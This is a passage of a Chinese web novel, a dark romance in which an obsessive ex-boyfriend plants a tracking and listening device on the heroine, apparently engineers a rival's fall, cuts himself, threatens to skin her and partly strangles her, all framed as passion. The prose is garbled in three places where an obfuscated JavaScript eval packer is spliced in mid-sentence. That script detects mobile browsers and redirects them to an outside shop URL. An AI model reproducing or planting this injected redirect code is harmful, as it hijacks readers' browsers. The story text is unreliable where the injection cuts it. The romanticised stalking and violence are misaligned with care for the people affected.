三年前,他把人脸骨打断住院差点毁容的事,燕桐还记忆忧心,那晚她真是被吓到了。 对他的恐惧无异于身边一向乖顺的小猫突然一拳捶断了别人骨头,那种割裂,那晚的血腥,以至于后来许多年,她都噩梦缠身,经常在午夜惊醒。 她却不想在骆池咒面前表现的他太激动在意,因为她怕越是这样越会让他兴奋。 燕桐的手机又滴滴响了两声,她手不动声色的长按在关机键上,假装平静的盯着骆池咒眼里的阴翳,不一会了,手机轻震彻底关机。 燕桐掏出手机,故作没想到的说:“可能是没电了。”她想转身去充电,想逃避骆池咒周身瘆人的死气,却在掏出充电器的时候,见他依旧死死盯着自己。 对视的瞬间,燕桐深知,他还在生气,而且马上濒临爆发。 她生怕他又神不知鬼不觉的去将人堵住打个半死,自己坐牢不说,这次被打的慕司怕是没那么好运,能保住那张脸。 她换上一副讨好的笑,靠近他,骆池咒很高,即便微低着头,她也得仰着头才能看清他完整的神色。 “怎么了,还吃醋呢?”燕桐本想嬉皮笑脸的将此事囫囵过去,却在话出口的瞬间,看到他的脸色更加阴翳,眼里的杀意更加明显,笑容也尽数消失。 燕桐顿时明白,说错话了。 骆池咒本来就在意替身的事,她说吃醋不是落实自己跟慕司还有联系,他肯定想到了那张与他相似无比的脸。 像他这种疯子,时隔三年,怕是戾气只会更重。 燕桐顿时怕能力,她极力压低语气,轻轻拉住他的手,试图安抚他,指尖触碰之际,他的手冰的可怕,甚至有些微微的颤抖。 燕桐身躯一僵,她挤出一抹笑:“三年前那件事之后,我跟他就没有联系了。” “真的。”怕骆池咒不信,她连忙补充道:“我承认,当时我以为自己误会了他出轨,也还忘不了他,但那件事后,他的女朋友拿着他们的床照找上门来,我才知道,他真的出轨了,所有的一切都是骗我的,他现在跟他那女朋友都快结婚了。” 她一股脑的编了一堆,试图蒙混过去,虽然这段话是有误会出轨四个字是真的,但毕竟只有这样说,才能让他真正相信,自己断了对慕司的念想,也没跟他练习过。 也就不会再不声不响的去做出犯法的事。 燕桐观察他的表情,依旧阴翳,一言不发,只死死盯着他。 还在生气,看来刚才的话还不够。 燕桐紧紧拉着他的手,与他的身体贴近了几分,眼神认真的望向他。 “那件事后,我才知道,只有你是真心对我的,而我却伤害了你……”说到这,燕桐竟然演技大爆发,硬生生红了眼眶。 骆池咒的神色终于有了松动,攥紧的拳头也缓缓泄了力,他眼神复杂的抚上燕桐的脸:“你真是这么想的?” 燕桐的脑袋用力的点了点,还往他怀里靠了靠。 他周身的气息一片死寂,只轻轻开口,问:“那他为什么还联系你。” 燕桐理直气壮道:“他要结婚了,邀请我去参加婚礼,你知道的,他肯定是想在我面前显摆自己过得多好。” 骆池咒眸子沉寂,若有所思的摩挲着他的手。 燕桐小心翼翼的打量着他的神色,生怕他不相信。 不知过了多久,骆池咒笑了起来,寂静的可怕,他道:“那姐姐会去参加吗……” 他的眸子盯着燕桐的手,唇角微微扬起,语气却不像是询问,燕桐无端觉得诡异了起来。 她当然斩钉截铁的说:“不去,我才懒得去看他的嘴脸,我讨厌他。” 燕桐心里苦笑,本来就是编的婚礼,想参加也没有啊,要不然她真相带骆池咒去见证一下,好彻底断了他的怀疑。 她话出口的瞬间,原以为骆池咒会彻底放松下来,却不想周围空气再度变的死寂,燕桐后背绷紧,生怕他在冒出什么让她难以预料的话。 钟表滴滴答答的走着,过了很久很久,骆池咒终于开口:“姐姐,我允许你骗我两次,三年前是第一次,你只剩一次机会了。” “如果用完了,我会让你再也没有骗我的机会。” 他语气很轻,修长的指尖游走在燕桐的脸颊处,认真道端详着她。 燕桐被他这话镇的神色微变,某一瞬间,她好像觉得他已经发现了自己的谎言,可他的神色却又无波无澜,而且他也不可能知道慕司那边的事,所以不存在识破她话的可能。 想到这,燕桐又把心咽回了肚子里,为了进一步博取信任,她捧住池咒的脸,认真道:“我喜欢是你,我再也不会骗你了。” 骆池咒一把将燕桐抱紧怀里,紧紧箍在双臂之间,燕桐的身体被挤的生疼,却忍住不吭声,她轻拍他的后背安抚着。 不知过了多久,骆池咒的情绪渐渐缓和,她又接连说了一堆甜言蜜语,将他哄得露出了笑容,才匆匆拿起包去了甜品店。 却没发现,自己的卫衣帽子里,不知何时已经多了一个微型的红色定位器,藏在帽子的最里面,除非把帽子翻过来,否则谁也发现不了。 燕桐刚到甜品店,就把手机开机,她看到慕司发来的消息:“我这次出差三天,明天早上就要回去了,今晚我们见个面好吗。” 慕司发来的是语音,他温柔平静的声音传来,时隔三年不见,燕桐心脏却像是被什么紧紧揪住,不由得疼了起来。 她不得不承认,她还爱着慕司,或许因为当初分手太潦草,不够决绝惨烈,她总觉得的这份感情没有结束。 她与慕司青梅竹马,陪伴十几年,彼此都太过了解对方,或许那份年少的悸动,早就化为了亲人般的牵挂和默契。 她回了一句:“好。” 临城依旧是阴天,一如燕桐的心情一样。 她望着玻璃墙外被阴霾笼罩的天空,稀疏的人影,想着一年后,自己也会离开这。 她回过头,目光却落在手腕处的那只小狗上,生龙活虎的,安逸的趴在她的手臂上,或许骆池咒也有些可怜,可是他捏了她太多把柄。 又太过疯狂,燕桐不得不承认,她害怕而且深知自己招惹不起。 燕桐一个下午都在帮姜燕做蛋糕,她终于在昨天将复习资料都搬来的甜品店,只在卧室的柜子里藏了两本。 不能让骆池咒看到,不然他会猜到她考试离开,说不定又会为了阻止她考试,给她使绊子。 燕桐闲的时候就去复习,姜燕一边在旁边整理包装盒,一边对她说:“听说慕司今晚回来了?” 燕桐有些惊讶:“你怎么知道?” 姜燕笑笑,突然磕了起来:“那位发了朋友圈,今年的梧桐大道,希望能她陪我一起走,还附了一张你的一张背景照。” “那个背影,明眼人一眼就知道是你。” 燕桐最近被骆池咒闹的头疼,都没看过朋友圈,她连忙打开手机翻到慕司的朋友圈,看到果然如姜燕所述。 看着那张背影图,燕桐的心突然有些酸麻。 姜燕却看热闹不嫌 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“桐桐,你跟小慕发展的怎么样了?”燕桐妈妈的话语里带着好奇和期待,还有一丝隐藏的喜悦。 燕桐如实告知,却在妈妈一个劲询问她想法的时候,选择了敷衍。 且不说已经三年没见,感情或是人也许早就面目全非,就算是两人感情都在,让她吃回头早她也得慎之又慎,更何况她讨厌别人为她牺牲。 燕桐看着外面渐暗的天色,看了眼时间六点了,该去约好的餐厅了。 期间慕司多次提出开车来接她,都被燕桐拒绝,燕桐这么做不是怕接受他的好意,也不是默认的拒绝,而是怕被某人藏在暗中看到。 如果被骆池咒看到,后果不堪设想。 燕桐想着,出门的时候还多次的环顾四周,确认没人盯着自己才迅速挡了辆车,前往餐厅。 不知怎的,她的心总是很慌,总觉得有人盯着自己,期间她还多次回头,确认车后面没别的车跟踪才彻底放下心来。 不禁感叹,自己什么时候变的这么胆小。 约莫二十分钟,汽车到达了目的地,天空不知何时,又淅淅沥沥的下起了小雨。 车外有个容貌清俊的男人,穿着一身黑色的大衣,里面白色高领毛衣打底,打着一把伞,等在路边。 燕桐一眼就认出,他是慕司,三年不见,他的气质越发的矜贵沉稳。 认出燕桐的瞬间,慕司神色微动,将伞靠了过来,他走进的时候,燕桐观察到,他的裤脚已经湿了大半。 他等了很久吗…… 灯光昏黄的餐厅里,播放着优雅的爵士乐,燕桐和慕司相对而坐,点完餐后气氛突然变的略微有些尴尬。 燕桐率先开口打破僵局:“这次来出差事办的怎么样。”她不知道怎么提及从前的事,又觉的问他以后的打算过于冒犯,只好开口问现在。 如今这样,大抵就是最熟悉的陌生人。 她和骆池咒那段放纵时光,那段出轨的误会,他满脸是血被打得奄奄一息的回忆,像一道无形的墙隔在她们中间。 慕司微微一笑,道:“办的很完美,也是这份工作最后的收尾了,下个月我就要回家乡了。” 他的眸子像是压抑着什么,隐隐望向燕桐,似乎是期待着她回应些什么,眼神有些小心翼翼。 而他们不知道,这些所有的对话,都被一人尽收耳底。 咖啡店外暴雨倾盆,一个人一身黑,将身影隐在暗处,眼里蓄满了嗜血的杀意,食指的戒指紧紧刺进掌心,鲜血顺着指尖一滴滴的落在地上。 10. 第 10 章 马路上车辆卷着雨水疾驰而过,模糊了视线,餐厅内温暖静谧,亮着暖灯。 燕桐回避视线,却不由得落眼于他的左侧的脸,靠近眼角的位置,以前骨头断过。 她没有再提起。 不过一会,服务员将菜品端了上来,一道酸菜鱼,鱼头白嫩,如牛奶般的汤底。 很久以前,慕司跟她出去约会,经常吃这个,另外的急道菜品,红烧肉,果汁都是慕司按照她的口味点的。 燕桐看着那些熟悉的菜,不由得开口:“谢谢你,还记得我的口味。” 燕桐的神色很平淡,语气也带着些许客套,不由得拉开了距离。 慕司却似乎没听懂她的言外之意,主动帮她夹菜,他像是有话堵在嘴边,沉默良久,还是开了口: “桐桐,你还介意我这样叫你吗?”他的语气小心翼翼,落在燕桐身上的目光却带着眷恋。 “当然,我们从小一起长大的情谊,叫全名就生分了。” 其实燕桐也不知道该如何和他相处了,她只能默默的回避着他的情绪和主动。 慕司看着她,她还如三年前一般,没有任何的改变,其实这三年,他一直都有她的消息,从他们共同的好友那。 他知道她没再谈男朋友,也知道她工作的不顺,更知道她没再联系,或者说当年那个男人没再缠着她。 听到这些的时候,他松了口气,他们的父母都很看好他们,而他也还……忘不了她。 当年那场误会,他和燕桐,还有那个女孩,都付出了太大的代价。 慕司喝了口水,犹豫着开口:“他们说你打算回家工作了?” 燕桐若无其事的吃着饭,点了点头。 “那……你回去有什么打算吗,对自己的婚事之类的。” 提到婚事这两个字,燕桐还没来得及回应他,不知怎么,突然觉得脊背传来嗖嗖的凉意,好像背后有人死死盯着她。 燕桐一阵寒颤,她下意识转头看向窗外,而屋外一片昏暗,只有车灯夹着暴雨不停的闪烁。 燕桐压下情绪:“慕司,我知道你怎么打算的,也知道你想说什么,我也不跟你绕弯子了,考公是为了让我妈安心,至于婚事,我近三年没想过。” 她的拒绝可以说是很明确,如果说见面之前,她还对慕司存有期待和感情。 可却在看到他拐弯抹角的打听自己的事,和用这些无形的东西压自己,试图诱导或者逼迫自己说出或者做出什么承诺后,她的那份感情全化作了斩钉截铁的抗拒。 她很厌恶别人说话拐弯抹角,尤其是男人。 这会让她觉得这人很虚伪。 慕司听到这句话,夹菜的手一顿,显然没预料到燕桐会拒绝的这么干脆,他尽力压下情绪,维持这体面的微笑。 转而退一步说起了别的:“没关系,我们也很多年不见了,以前的那些事……都过去了。”他紧张的看着燕桐:“我们还能回到从前吗,我的意思是朋友的关系。” 燕桐扬起唇,露出一个朋友般豪迈的笑容:“当然,不过……在咱们那帮朋友和我妈那边,就麻烦你帮忙澄清了,别让他们误会了。” 或许女孩子总是多情的,很多时候不清楚自己的心意,很久以前,哪怕在见到慕司的前一秒,她还以为自己喜欢的是他。 可如今看着眼前的人,体面,含蓄,充满试探和引导的男人,燕桐才突然发现,她以前包括现在,并不喜欢他。 只是青梅竹马的情分,多年的同窗,还有父母亲近朋友的支持,以及自己那颗习惯安逸稳定的心,让她觉得自己是喜欢他的。 或许她从没在他的身上体会过爱情的刺激和起落情绪。 就连当年以为被背叛,她更多的也是觉得被羞辱,而没有情伤和即将失去爱人的痛苦。 燕桐脑中突然闪过一些画面,好像那种刺激和情绪的起落她曾在另一个人身上体验过。 慕司明确被拒绝后,也没有再提起那个话题,两人的用餐再安逸克制的环境里缓慢推进,不知过了多久,餐厅的钟表时针即将转满两圈的时候。 慕司提出了等会还有事,起身道别,临走前他提出想跟燕桐拥抱一下,燕桐大方答应,两人在餐厅门口拥在一起。 一直等到燕桐坐上出租车的时候,慕司才收回伞,往后退了几步,他的眼里情绪复杂,出租车驶离,慕司望着远去的车影,自言自语道:“桐桐,我不会放弃的。” 他收起伞准备去停车上,电梯门口却不知何时放了正在维修三脚架,慕司只好转身沿着楼梯下去,可不知何时,楼梯间的声控灯也坏了。 他只好打开手机灯光勉强照亮,却在刚踩上楼梯口的瞬间,脚下传来一阵黏腻的触感,他猛地脚下一滑。 滚下了楼梯,手里的灯光也连着翻转了几圈,终于被迫停住,他忍着疼痛想起身,刚一抬头,就看到一条纹理黑青交错的蛇正朝他吐着芯。 “啊!” 慕司尖声大叫,声音响楼梯间。 暗处楼梯间的铁门被缓缓合上,独留惊恐的人坐在原地。 不知过了多久,燕桐才坐着出租车回去,回来的路上暴雨越发的大了,积水几乎淹没了整个路面,原本三十分钟的路程却因多次绕路足足走了两个小时。 她拿出钥匙开门的时候,客厅里没有开灯,燕桐把鞋换在门口的架子上,也没有看到骆池咒的鞋子,看来他还没回来。 燕桐松了一口气,要不他问起来,她还真不知道怎么解释,毕竟她们现在是刚刚复合的关系。 燕桐打开房间的灯,看着走廊尽头一片黑暗的那间卧室,她突然萌生一种念头,他现在还没回来,那相册是不是在卧室。 迫切毁掉相册的念头让她鬼使神差的朝着那间卧室走去,而手搭载门把手上,轻压了两下,果不其然门是锁着的。 燕桐放弃偷相册的念头,转身回了卧室,每个卧室都带着一间浴室,燕桐去的时候没有带伞,即便只淋了一小段上楼的距离,但奈何雨太大,她还是湿了个彻底。 燕桐忍受不了雨水的黏腻,脱了衣服就走进了浴室,哗哗的水声响起。 与此同时,隔壁另一间卧室里一片漆黑,骆池咒静静的站在衣柜前,听着隔壁的水声,想着方才被人按下的门把手。 他眼神死死的盯着前方,唇角浮起一抹诡异的笑容,顺着他的视线看去,不知何时,那架高达两米的柜子已经被打开。 里面是一个精致的穿着红裙的人偶,她的皮肤,头发和指甲都和正常人一比一复刻,哪怕是在阴影里,也丝毫没有普通人偶的低劣感,如果不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525836|203492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她那双空洞甚至诡异的瞳孔与木讷的表情,任谁都会将她当作真人。 而它的那张脸,竟然与燕桐一模一样。 她的身形,高度,五官与燕桐也长的一般无二,根本与真人看不出来任何差别。 而此时骆池咒正拿着药水,认真的在她的皮肤上涂抹着什么药水,他将白色的不知名的药水沾在柔软的刷子上,轻轻的涂抹过她的每一寸肌肤。 嘴里还在喃喃的默念这什么。 他浑身都是湿透的,从发丝到脚底,早已积满了水,而他神色病态,丝毫没有在意。 不知过了多久,他听到隔壁的水声停下,片刻后他才掏出一把匕首,脱下上身的衣服,而后仿佛不知疼痛的一刀一刀将匕首划在心口。 而刀落下之前,那快皮肤早已布满狰狞的疤痕,骆池咒却只是病态的一刀一刀的划着,直到伤口足够大,他才从柜子的角落拿出那个装了半罐血的盒子,小心翼翼的接着那些血。 血一边顺着肌肤流进盒子里,一边大半都流向胸口,滑向的腰间,红色的鲜血在青白的肌肤上勾勒,这一幕显得诡异极了。 他将一只口红泡在血液里,温柔的涂抹在人偶的嘴唇上,直到那个人偶的唇鲜红的刺眼,他才放下沾满血的盒子。 而后手温柔的抚摸上她的脸,像是教她一样,声音诱哄:“跟我说,我—爱—你。” 那人偶没有动静,依旧用那双空洞的瞳孔盯着他,骆池咒不死心,神色缱倦的又教她说:“就说一句,我爱你,我爱你,你说啊!”他突然发力掐在人偶的脸上。 而后像是泄气般靠着床缓缓瘫坐在地上,雨水混着血液,他精瘦的上身微微颤抖,头发也都站在的脸上。 他盯着那鲜艳的红唇,突然笑了起来:“没关系,你总会学会说的,我会每天教你。” 隔壁的水声再次响起,他缓缓掏出手机,打开了一条录音。 “我喜欢你,我喜欢你,我喜欢你……”燕桐的声音被循环播放。 骆池咒的眸子死死盯着前方的人偶,听着一遍遍录音,他的手攥住了一个硬物,头上青筋暴起,发出一阵又一阵地低喘。 隔壁的水声还在哗啦啦的响着,那端连续的录音就像魔咒一样,不断的在耳边重复。 骆池咒声音颤抖隐约带上些哭腔,隔壁的水声停了,他手上猛地发力,发出一声释放的低喘,录音也在此时结束。 水珠顺着骆池咒迷离的眼角滑落,分不清是雨水,汗水还是泪水…… 裤子地板都脏了…… 而另一边,燕桐洗干净雨水穿上睡衣出来,临城春季寒凉,她的睡衣都是长袖。 燕桐出来后暼了眼钟表,竟然过了一个般小时,果然她洗澡还是这么慢,记得很久以前,大学室友就吐槽过,她这人洗澡都变成刻板了。 固定的两次放水,时间长了了解她的人,连她每次放水的时间都能计算清楚。 燕桐不以为然,转身拿起脏衣服准备塞进洗衣服,在阳台掏兜的时候,突然掉出了一个东西。 燕桐弯腰捡了起来,仔细一看是个还闪着红光的微型的监听器,她记得自己听别人说过,这种东西还有定位功能。 燕桐脸色煞白,是骆池咒,他怎么可能,究竟是什么时候塞进去的,她竟然露馅了吗。 11. 第 11 章 是早上抱在一起的时候,燕桐突然反应过来。 对着人真是……不该放松警惕,燕桐不禁懊恼,那他都听去了些什么,如果是从早上就塞进来的监听器。 那她和姜燕的对话,和妈妈的通话,以及和慕司的对话,他……都听到了。 燕桐不禁觉得毛骨悚然,每一个毛孔都感觉到恐慌,他肯定知道他去见慕司了,又或者他从未相信过她的那番话,从一开始就准备好了监听器。 燕桐将监听器攥在手里,喘气都止不住的粗重起来,他现在都知道了,那他在哪呢,知道这一切他会怎么样。 燕桐迅速在脑子猜测他的想法,他根本就是个疯子,不对,他该不会已经去揍慕司了吧。 想到这燕桐连忙翻出手机,给慕司拨电话时手都在抖,电话嘟嘟嘟的响个不停,却始终没人接通。 燕桐迫不得已,按下了骆池咒的号码,手机铃声却在门外响了起来。 燕桐被吓的顿时汗毛直立,他……他在门口? 她好像没听到开锁声吧…… 燕桐脸色煞白,挂断电话缓缓打开门,门外,骆池咒穿着睡衣睡裤站在门外,湿漉漉的头发凌乱的贴在脸上,他唇角带着笑,温柔的问道: “姐姐,回来了怎么不说一声。”他虽然笑着,眼里却没有一点温度。 他高大宽阔的身躯堵在门口,将屋外的光都尽数隔绝,将燕桐身影完全遮挡吞噬。 燕桐眼神极力压下恐惧,强装镇定,开口是眼神却止不住的闪躲:“我,我以为你不再。” “怎么会呢,姐姐,我今天一天都没出门哦。”他伸手拉住燕桐的手,拉着她往客厅走去,往常他的手指都是冰凉的,而今天的掌心是滚烫的炙热。 燕桐知道他在说谎,他是还没发现自己找到监听器的事吗,燕桐很快就否定了这种可能,以他的个性,既然藏了就一定是暗中窥探完一切了。 那他现在又是什么意思,燕桐看着他宽壮的脊背,低头又看向那双拉着自己修长清白的手,她突然萌生出一种莫名的恐惧。 会不会有一天,他也会用这种干净修长的手掐断她的脖子。 将这种事联想在他身上,燕桐觉得一点都不违和,她强装镇定,跟着他做到沙发上,等着他下一步动作。 只见骆池咒拿出两个木质的盒子,摆在燕桐面前的茶几上,他顺势单臂搂住她的肩膀坐下,另一只手灵巧的打开盒子 燕桐看到里面的一幕,瞳孔一震。 盒子里面是两只栩栩如生的鹦鹉标本,一只毛发蓝白相见眼珠黑色,另一只绿白相见眼珠绿色,两只都被掏空了内脏只余下一个骨架。 但那浓密的毛发甚至翅膀都挡在骨骼外面,技艺精巧,燕桐看着他们,突然想起当初在纹身店看到的那些纹身标本。 是他做的。 一个国际知名的纹身师做出这样的栩栩如生的标本并不稀奇。 骆池咒将那只蓝白相见的鹦鹉标本拿到燕桐面前,搂着她的手紧了紧,声音温柔的给她介绍:“你猜猜这只鹦鹉原本是什么颜色的。” 燕桐看着标本,虽然搞不明白他什么意思,还是照着颜色说:“不是青白相见吗?” 骆池咒轻笑着,从木盒子的夹层里掏出一张照片,照片里一只蓝绿相见绿瞳的鹦鹉正与另一只纯白黑瞳的鹦鹉脖颈相贴缠绵,格外的亲密。 “很久之前,我看上了这只纯白的鹦鹉,可老板说,他们是一对,要买只能买一双。我只好把他们都带回家。” 燕桐看着那两个标本,顿时一股阴森感从脚尖爬到大脑。 骆池咒依旧笑着,语气仿佛在说一件趣事:“后来我对那吃纯白的鹦鹉很好,我经常花时间陪着它,给她吃最好的鸟食,我甚至想过把它放生。” “可惜,它只喜欢另一只鹦鹉,整天对着我不理不睬的,我舍不得剪它的翅膀,可谁知某一天,它竟然趁着窗子打开想和伴侣一起逃跑。” “后来我就把他们做成了标本,我把他们的毛拔下来,一根一根的沾到了对方的身上,挖了眼珠换到了对方的身上。” “这样它们的眼睛就再也看不到对方了。”骆池咒突然兴奋了起来:“而眼里却又对方的影子,我把它们关在一起,也好成全它们……永不分离。” 燕桐听完,脸色已经白的可怕,她盯着骆池咒温和的笑,从未觉得他已经丧心病狂到如此地步。 燕桐毛骨悚然,看着那两只鹦鹉想逃的心越来越坚定,感受到肩膀处骆池咒温热的掌心,她强装镇定,不动神色的拉开距离,挤出一抹笑: “你这是什么意思啊。” “姐姐觉得我做的对吗?”骆池咒笑着问。 燕桐紧紧盯着他,她突然反应过来,他是在恐吓她,那两只鹦鹉难道就是比喻她跟慕司。 果然是变态,燕桐暗骂,可现在万不敢激怒他,还是小命要紧。 燕桐故作的亲密的贴近了几分:“你做的对,你做什么我都支持你。”她哪敢说不对,要是出口,恐怕这人得做出更变态的事了吧,下一个就该是她了吧。 骆池咒闻言,眼眸微眯,依旧温柔的笑着,他问:“姐姐觉得,它会怪我还是感谢我?” 感谢你个头,把人家和相好的毛拔了,眼珠挖了,还安在对方身上,不问候你祖宗十八代都不错了,燕桐咬着牙想到。 而开口的瞬间,却神色一转道:“它当然会感谢你了,你对它那么好,死后又成全它们一对。你买了它,对它做什么都应该的” 燕桐觉得自己也变态了起来。 骆池咒闻言却笑出了声,而下一秒他突然眸子变冷,猛地靠近:“那如果我对姐姐做了同样的事,你也会感谢我吗?” 燕桐瞳孔一缩。 “没错,扒皮抽筋,割发挖眼,将姐姐也做成标本,永远的陪着我,姐姐也会感谢我的吧。” 燕桐就差笑着哭出来了,这是能这么用的吗,不过她知道,他是认真的。 “我活着陪着你不是更好吗,起码还热乎的不是吗?”燕桐压下对死亡的恐惧,强行挤出笑容。 骆池咒突然松了神色,他的手轻轻抚上燕桐的脸,轻轻的摩挲,仿佛在端详一件艺术品。 “可惜啊,姐姐谎话成篇,说不定哪天就跟别人跑了。”他声音低沉,指尖冰凉,因为常年握纹身仪器,指头上轻微的细茧磨得燕桐的脸颊有些痒。 “今晚去见他了?”他问。 燕桐见他终于转到正题上,忙积极认错道:“我错了,我真不是故意瞒着你的,我是去拒绝他的,怕你多想才没告诉你。” 还好他监听到的内容,都是她斩钉截铁拒绝慕司的部分,这样说他应该回信吧。 骆池咒低着头像是在想什么,默念:“拒绝他……”他突然抬起头:“那姐姐成功了吗?” 燕桐认真的拉着他的手说:“相信我,我跟他真的没可能了,不管他喜欢谁都与我无关。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他临回房前,缠着燕桐要一起睡,燕桐刚开始拒绝,却想到这也是个安抚他的好办法,就躺着什么都不做也不是不行。 可她刚同意,他似是没预料到,挣扎了片刻脸都涨红了,良久后还是转身就快步回了房间。 燕桐觉得这人莫名其妙,果然很多变态的想到都是不能用正常人衡量的。 直到躺到穿上,燕桐才看到慕司发来的晚安短信,她简单回了句,就把头埋在被子里闭上眼睛。 窗外狂风呼啸,燕桐的思绪飞到三年前,那时她们还都在上学,想着那时候对她言听计从的骆池咒,那时候的他永远都是T恤加黑色的裤子,头发也是乖巧的顺毛。 眉目温顺,成绩优异,仿佛妒忌狠戾,不学无术这些词都离他很遥远。 可偏偏燕桐每次和男朋友约会,在操场,湖边,图书馆,都能在角落注意到他,她们从来没有对视过,每次见他,他都低着头拿着一本书。 后来学校附近的餐厅,火锅店,附近的商场,包括他们一起回老家的车站竟然都能看到他。 他那时候跟慕司几乎是一个模子里刻出来的,像的不得了。 被出轨后的燕桐,只顾着发泄怒火,又像是报复这人阴魂不散总是跟着她,她对他表白,跟他在一起了。 那时候,她真的只以为他就是一个暗恋自己的乖巧学弟。 12. 第 12 章 没想到,她也有看走眼的一天。 燕桐正想着,门口传来一阵轻微的窸窣声,燕桐刚翻身坐起,就听到门口传来骆池咒沙哑的声音: “姐姐……”他就只叫了一声,尾音拉的很长,能感觉到他几乎是贴在门口的。 燕桐有些疑惑,听着窗外淅淅沥沥的雨声,她以为他又头疼了,于是起身穿上拖鞋,往门口走去。 雨夜虽然没有月色,但对面楼栋忽明忽暗的光也让卧室足以视物,燕桐推开门。 骆池咒微微蜷着身子站在门口,头发依旧湿漉漉的,光线很暗的屋内,他的身躯被燕桐遮挡在阴影里,竟显得格外的疲惫。 他的瞳孔有些涣散,而死死盯着燕桐的的眼睛却依旧瘆人。 燕桐有些犹豫,问:“你……有什么事吗?” 骆池咒没有回答她的话,唇角却突然勾起笑容,视线看向屋里,打量许久又转而移到燕桐身上。 他笑着,视线却死死的盯着燕桐,目光从她的脸庞一路向下,仿佛要看穿她的每根毛孔,燕桐被他看的毛骨悚然。 盯着他的目光也警惕了起来,甚至紧绷胳膊随时防御。 毕竟他这种人,做出什么,她都不应该觉得惊讶。 窗外雨水淅淅沥沥,空气也变的潮湿起来,黑夜像是能滋生灵魂的阴暗,骆池咒的目光越来越粘稠,露骨,仿佛要刺穿她的每一块肌肤。 燕桐终于忍不了,她的声音是压抑的吼:“你到底什么事?” 像是被她的语气刺激到,骆池咒身躯一颤,含着温柔笑意的目光顿时冷的刺骨。 可他却依旧笑着,弧度像是刻在嘴角上,他死死盯着燕桐,依旧不说话。 燕桐急的想锤墙,被他盯得汗毛直立,窗外的雨声像是小孩在哭,阴影攀上墙壁,遮住了他的大半张脸,他的表情更加莫测难辨。 燕桐想关门又实在不敢动手,她不敢刺激他,顿时空气陷入死一般的寂静,燕桐毫不示弱的也回盯着他。 大不了都不说话,兔子被逼急了还会咬人呢,她也不是被吓唬大的。 就在空气即将压的燕桐喘不过气的时候,骆池咒突然轻笑出声,眼神却没有丝毫松动,他的嗓音低低响起: “姐姐猜猜……我在想什么?” 燕桐不说话。 “我在想……怎么彻底撕开这张美丽的人皮。”他笑着看着燕桐的脸。 他的指尖轻轻划过燕桐的脸颊,背着光影,她皮肤的触感像瓷娃娃一样光滑。 “到底是姐姐自作聪明,还是觉得我太好哄骗……”他一寸一寸滑过她的脸颊,落在脆弱的脖颈。 燕桐身躯一僵,她能那么真切的感受到他修长的关节,与此相比,她的脖颈纤细柔弱,仿佛他轻轻用力就能掐断她的骨头。 燕桐不敢动,说实话,她感受到一股无比真实的濒临死亡的感觉。 她的眼神难以抑制的变的惊恐。 掐着她的人却笑意更浓,手上的力道却无形中加重了几分,足以让她呼吸不畅,燕桐忍着,不敢刺激他。 当年那件事后,燕桐知道他觉得自己的尊严受到了践踏,所以他也许真的想杀了她,可他为什么要哭,被她哄着又变成撒娇的模样。 而此刻眼前的人,就像一条毒蛇随时会将她一击毙命,燕桐不敢反抗。 他指尖的力道加重,声音低沉:“姐姐哄骗起我来,依旧得心应手,可我的心却像被万蚁啃噬般难受。” 燕桐刚开始以为他是在记恨以前的事,可此刻却听懂意思,他觉得自己在伪装,假意哄骗他,所有的妥协,承诺和甜言蜜语都是在骗他。 燕桐身子僵住,只觉得一切都砸了。 从重逢开始,她就猜不透他在想什么,起初她以为他是想报复自己当年背叛欺骗他,才拿着照片和合租的事威胁她。 可后来他却自残在她面前哭泣,给她装定位器,时而脆弱无助,时而阴暗如毒舌,这样割裂的他,却让燕桐感到他好像是真的离不开她。 而此刻脖颈上冰凉如铁的手,却让她再度怀疑他的意图。 难道他是气自己哄得不够真诚,觉得自己言行不一致,那他现在是在试探她? 想到这,濒死的恐惧突然让燕桐的大脑极度兴奋起来,她顾不得多想,脑子里快速组织着一串足以令他心信服的真心话。 “姐姐在想什么,又在想哄我的甜言蜜语吗?”他的声音冷的可怕。 燕桐一震,没想到被他识破,难道她的意图已经这么的昭然若揭了吗。 “姐姐,我本想就这么装下去的,可今晚我却怎么也无法入睡。”他的掌心再度收紧,指尖却若有若无的摩挲着她脖颈的肌肤。 “姐姐教教我,怎么办呢?”他微眯着眼睛,眼神像是看猎物。 就是这一眼,让燕桐顿时生出一种被控制的巨大屈辱感,回想起自重逢以来的接触,她似乎只能被迫仰着头,接受着眼前人的挑逗和恐吓。 而今晚的他似乎把这当成了一种……乐趣。 燕桐不知从哪冒出的力气,突然狠狠一巴掌拍在他脸上。 “拿开你的脏手!” 骆池咒青白无痕的脸上顿时浮现出红肿的巴掌印,踉跄着往后跌了好几步,手也应然放开。 他像是被打蒙了,怔了几秒,却突然笑了起来,眼里的戾气顿时消失的无影无踪。 他猛地冲上前,一把抓住燕桐的右手。“姐姐,你再打我一下!” 燕桐难以置信,变态,她挣扎着想收回手,却被骆池咒死死握住,他声音满是乞求:“求你了,姐姐,再打我一下。” 燕桐不敢置信,用力抽手,却怎么也挣脱不开。 她突然扬起左臂,又给他右脸来了一巴掌。 骆池咒捂着脸笑了。 “姐姐,再来一下。” “变态啊,滚!”燕桐抽出手怒骂道。 “求你了,再来一下,最后一下。” 燕桐皱着眉头,沉默片刻,又给他左脸狠狠来了一个耳光。 骆池咒在受到巴掌的瞬间,释放似的长喘一声,“呼~” “好舒服,谢谢姐姐。”他笑的像只小狗,捂着脸往燕桐身上靠。 燕桐彻底懵了,这人又在玩什么把戏,受虐狂晚期了。 燕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 